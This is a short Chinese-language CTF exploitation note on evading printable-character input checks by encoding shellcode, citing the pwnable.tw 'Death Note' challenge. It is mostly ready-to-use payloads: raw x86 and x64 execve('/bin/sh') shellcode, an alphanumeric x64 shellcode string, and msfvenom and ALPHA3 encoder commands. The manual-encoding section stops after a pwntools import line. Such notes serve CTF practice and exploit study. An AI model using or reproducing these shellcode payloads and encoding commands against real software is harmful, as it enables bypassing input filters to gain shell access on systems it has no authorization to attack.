字符检测绕过
有时候程序会对输入进行一些可打印检查,导致平常的shellcode失效,这个时候需要对shellcode进行编码.
可打印检查一般分为Alphanumeric(字符在[A-Za-z0-9]区间)和Printable(字符的ascii码在0x1f和0x7f区间,不包含边界).
例题:pwnable.tw:Death Note.
x86编码
x86下一个27字节的可用shellcode
1 | "\x42\x4d\x36\x91\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" |
x86下可以使用msf内置的encoder.
1 | msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax |
x64编码
一段可用的x64 shellcode
1 | \x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 |
一段可用的x64 可见字符shellcode
1 | Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M1L3a144H4p4l32354X4x3w8K2D3T3y1P0a0k3Q0f2O0g2I4H0p7m0A03 |
生成命令
1 | python ALPHA3.py x64 ascii mixedcase RAX --input="shellcode" |
手动编码
1 | from pwn import * |